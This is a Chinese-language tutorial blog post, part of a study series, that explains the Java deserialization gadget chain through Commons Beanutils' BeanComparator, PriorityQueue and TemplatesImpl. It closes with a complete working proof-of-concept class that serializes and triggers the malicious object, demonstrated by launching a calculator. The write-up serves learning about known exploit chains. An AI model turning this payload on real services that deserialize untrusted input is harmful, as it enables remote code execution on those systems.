zoukankan      html  css  js  c++  java
  • 反序列化Gadget学习篇八 CommonBeanutils

    背景

    通过前面我们知道了java.util.PriorityQueue类实现了自己的readObject方法,可以作为一个入口,并且可以调用到transform。前面的利用链都是使用CommonCollection库里的代码实现攻击,其实也有其他的常用库也可以达成类似的效果。也就是说要寻找其他实现了java.util.Comparator的对象

    Apache Commons Beanutils

    Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
    JavaBean是一种按特定规范编写的类,主要用来保存数据。一般包括私有属性和这个属性的赋值取值方法:

    final public class Cat {
        private String name = "catalina";
        public String getName() {
            return name;
        }
        public void setName(String name) {
            this.name = name;
        } 
    }
    

    commons-beanutils则是为了更方便的使用JavaBean而开发的一个工具包,这里面提供了一个静态方法:PropertyUtils.getProperty,让使用者可以直接调用任意JavaBean的getter(获取某个属性值)方法,比如:

    PropertyUtils.getProperty(newCat(),"name");
    

    另外commons-beanutils还提供了一个比较方法,用来比较Bean是否为相等的类:org.apache.commons.beanutils.BeanComparator,这个类实现了java.util.Comparator接口,看它的compare()方法:

    public int compare( final T o1, final T o2 ) {
        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
    }
        try {
            final Object value1 = PropertyUtils.getProperty( o1, property );
            final Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }
        catch ( final IllegalAccessException iae ) {
            throw new RuntimeException( "IllegalAccessException: " +
    iae.toString() );
        }
        catch ( final InvocationTargetException ite ) {
            throw new RuntimeException( "InvocationTargetException: " +
    ite.toString() );
        }
        catch ( final NoSuchMethodException nsme ) {
            throw new RuntimeException( "NoSuchMethodException: " +
    nsme.toString() );
        } 
    }
    

    如果this.property不为空,则会调用PropertyUtils.getProperty去获取这两个对象的this.property属性,这个步骤就会自动去寻找对象的getter方法。如果有什么方法的getter方法能够执行恶意代码,就完成了整个步骤。

    这里回想一下,TemplatesImpl的利用链中,有用到了一个getxxx方法。

    TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()-> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
    

    TemplatesImpl#getOutputProperties() 正好符合Bean的getter方法的要求。
    所以这段代码PropertyUtils.getProperty( o1, property );中,o1是一个TemplatesImpl对象,propertyOutputProperties的时候,就会自动触发代码执行。

    payload构造

    首先准备好恶意的TemplatesImpl

    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    

    初始化好比较器和PriorityQueue

    final BeanComparator beanComparator = new BeanComparator();
    final PriorityQueue queue = new PriorityQueue(beanComparator);
    queue.add(1);
    queue.add(1);
    

    反射修改属性,queue的值改为恶意的TemplatesImpl对象,比较器BeanComparator的property改为outputProperties,以调用getoutputProperties方法。

    setFieldValue(beanComparator, "property", "outputProperties");
    // 将队列中的两个元素改为TemplatesImpl对象
    setFieldValue(queue, "queue", new Object[]{obj, obj});
    

    成功弹出计算器

    完整代码

    package changez.sec.CommonBeanutils;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassPool;
    import org.apache.commons.beanutils.BeanComparator;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.PriorityQueue;
    
    import changez.sec.shiro.Evil;
    
    public class CommonBeanutils {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
            Field f1 = obj.getClass().getDeclaredField(fieldName);
            f1.setAccessible(true);
            f1.set(obj, value);
        }
    
        public static void main(String[] args) throws Exception{
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
            setFieldValue(obj, "_name", "HelloTemplatesImpl");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    
            final BeanComparator beanComparator = new BeanComparator();
            final PriorityQueue queue = new PriorityQueue(beanComparator);
            queue.add(1);
            queue.add(1);
    
            // 将BeanComparator的property改为OutputProperties,比较时调用getOutputProperties()
            setFieldValue(beanComparator, "property", "outputProperties");
            // 将队列中的两个元素改为TemplatesImpl对象
            setFieldValue(queue, "queue", new Object[]{obj, obj});
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
            System.out.println(barr);
    
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }
    }
    
  • 相关阅读:
    BZOJ 2034 【2009国家集训队】 最大收益
    vijos P1780 【NOIP2012】 开车旅行
    BZOJ 2115 【WC2011】 Xor
    BZOJ 3631 【JLOI2014】 松鼠的新家
    BZOJ 4717 改装
    BZOJ 2957 楼房重建
    BZOJ 4034 【HAOI2015】 T2
    BZOJ 1834 【ZJOI2010】 network 网络扩容
    BZOJ 2440 【中山市选2011】 完全平方数
    BZOJ 2733 【HNOI2012】 永无乡
  • 原文地址:https://www.cnblogs.com/chengez/p/CommonBeanutils1.html
Copyright © 2011-2022 走看看